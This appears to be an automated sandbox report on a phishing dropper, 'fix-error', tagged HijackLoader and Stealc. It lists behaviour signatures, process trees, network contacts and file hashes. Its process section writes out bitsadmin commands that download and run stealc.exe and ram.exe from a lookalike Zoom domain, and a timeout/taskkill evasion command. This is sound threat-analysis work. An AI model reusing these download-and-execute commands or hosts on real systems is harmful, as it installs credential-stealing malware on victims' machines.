Malware Analysis Report

2024-10-23 21:48

Sample ID 241017-lq58fascng
Target fix-error.vbs
SHA256 92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138
Tags
hijackloader stealc sneprivate29 google discovery dropper loader phishing stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138

Threat Level: Known bad

The file fix-error.vbs was found to be: Known bad.

Malicious Activity Summary

hijackloader stealc sneprivate29 google discovery dropper loader phishing stealer

Detects HijackLoader (aka IDAT Loader)

HijackLoader

Stealc

Downloads MZ/PE file

Download via BitsAdmin

Blocklisted process makes network request

Suspicious use of SetThreadContext

Detected potential entity reuse from brand GOOGLE.

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Program crash

Delays execution with timeout.exe

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Checks processor information in registry

Kills process with taskkill

Suspicious behavior: MapViewOfSection

Script User-Agent

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-17 09:45

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-17 09:45

Reported

2024-10-17 09:47

Platform

win7-20240903-en

Max time kernel

125s

Max time network

125s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta"

Signatures

Detects HijackLoader (aka IDAT Loader)

Description Indicator Process Target
N/A N/A N/A N/A

HijackLoader

loader hijackloader

Stealc

stealer stealc

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Downloads MZ/PE file

Detected potential entity reuse from brand GOOGLE.

phishing google

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2328 set thread context of 2940 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\explorer.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\timeout.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\timeout.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\stealc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\explorer.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\SysWOW64\explorer.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\SysWOW64\explorer.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\explorer.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 1804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 1804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 1804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 1804 wrote to memory of 2856 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1804 wrote to memory of 2856 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1804 wrote to memory of 2856 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1804 wrote to memory of 2856 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2712 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2712 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2712 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2712 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1804 wrote to memory of 2328 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 1804 wrote to memory of 2328 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 1804 wrote to memory of 2328 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 1804 wrote to memory of 2328 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 1804 wrote to memory of 2328 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 1804 wrote to memory of 2328 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 1804 wrote to memory of 2328 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 1804 wrote to memory of 1924 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\timeout.exe
PID 1804 wrote to memory of 1924 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\timeout.exe
PID 1804 wrote to memory of 1924 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\timeout.exe
PID 1804 wrote to memory of 1924 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\timeout.exe
PID 2328 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe
PID 2328 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe
PID 2328 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe
PID 2328 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe
PID 1804 wrote to memory of 2836 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1804 wrote to memory of 2836 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1804 wrote to memory of 2836 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1804 wrote to memory of 2836 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2712 wrote to memory of 1064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2712 wrote to memory of 1064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2712 wrote to memory of 1064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2712 wrote to memory of 1064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2328 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe
PID 2940 wrote to memory of 1736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2940 wrote to memory of 1736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2940 wrote to memory of 1736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2940 wrote to memory of 1736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2940 wrote to memory of 1736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2940 wrote to memory of 1736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1736 wrote to memory of 2000 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WerFault.exe
PID 1736 wrote to memory of 2000 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WerFault.exe
PID 1736 wrote to memory of 2000 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WerFault.exe
PID 1736 wrote to memory of 2000 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID 1804

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe

C:\Windows\SysWOW64\timeout.exe

timeout /t 30 /nobreak

C:\Users\Admin\AppData\Local\Temp\stealc.exe

"C:\Users\Admin\AppData\Local\Temp\stealc.exe"

C:\Windows\SysWOW64\timeout.exe

"C:\Windows\System32\timeout.exe" /T 2 /nobreak

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer secondDownloadJob /download /priority foreground https://us18web-zoom.us/ram.exe C:\Users\Admin\AppData\Local\Temp\ram.exe

C:\Users\Admin\AppData\Local\Temp\ram.exe

"C:\Users\Admin\AppData\Local\Temp\ram.exe"

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /PID 1804

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1736 -s 800

Network

Country Destination Domain Proto
US 8.8.8.8:53 support.google.com udp
GB 142.250.187.206:443 support.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.178.3:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.178.3:80 o.pki.goog tcp
US 8.8.8.8:53 us18web-zoom.us udp
US 172.67.204.164:443 us18web-zoom.us tcp
US 8.8.8.8:53 webapizmland.com udp
US 172.67.129.142:443 webapizmland.com tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.19.117.22:80 crl.microsoft.com tcp
ES 95.182.97.58:80 tcp
ES 95.182.97.58:80 tcp

Files

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M4TQDAHL\favicon[1].ico

MD5 f3418a443e7d841097c714d69ec4bcb8
SHA1 49263695f6b0cdd72f45cf1b775e660fdc36c606
SHA256 6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770
SHA512 82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563

memory/2328-21-0x0000000000400000-0x0000000000561000-memory.dmp

memory/2328-22-0x0000000071980000-0x0000000071AF4000-memory.dmp

memory/2328-23-0x0000000077460000-0x0000000077609000-memory.dmp

memory/2328-37-0x0000000071980000-0x0000000071AF4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7729aedd

MD5 6e55da6f9c2e2d5938113bee8a2a2169
SHA1 8c64d720f95c1427155aec990e536edde887dcc5
SHA256 3042740a5872ec6f403da4cb6639625a21b357d7aeb5e065e058bac021e00782
SHA512 6a04ca7b341731897e1745d953b136e9e2a3c70fe9186aab7416cbbfdefa6775323f68c9d975ef180bbde363e4c58d897f8f29c1e8119ba56a8a41a844b3e5fd

memory/2940-40-0x0000000077460000-0x0000000077609000-memory.dmp

memory/2940-41-0x0000000071980000-0x0000000071AF4000-memory.dmp

memory/1736-43-0x0000000000100000-0x0000000000363000-memory.dmp

memory/1736-44-0x0000000077460000-0x0000000077609000-memory.dmp

memory/1736-45-0x0000000000100000-0x0000000000363000-memory.dmp

memory/1736-49-0x0000000000100000-0x0000000000363000-memory.dmp

memory/1736-50-0x0000000000100000-0x0000000000363000-memory.dmp

memory/1736-53-0x0000000000100000-0x0000000000363000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-17 09:45

Reported

2024-10-17 09:47

Platform

win10v2004-20241007-en

Max time kernel

138s

Max time network

143s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

Detected potential entity reuse from brand GOOGLE.

phishing google

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Network

Country Destination Domain Proto
US 8.8.8.8:53 support.google.com udp
GB 142.250.187.206:443 support.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.178.3:80 c.pki.goog tcp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.178.3:80 o.pki.goog tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 206.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 3.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 105.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp

Files

N/A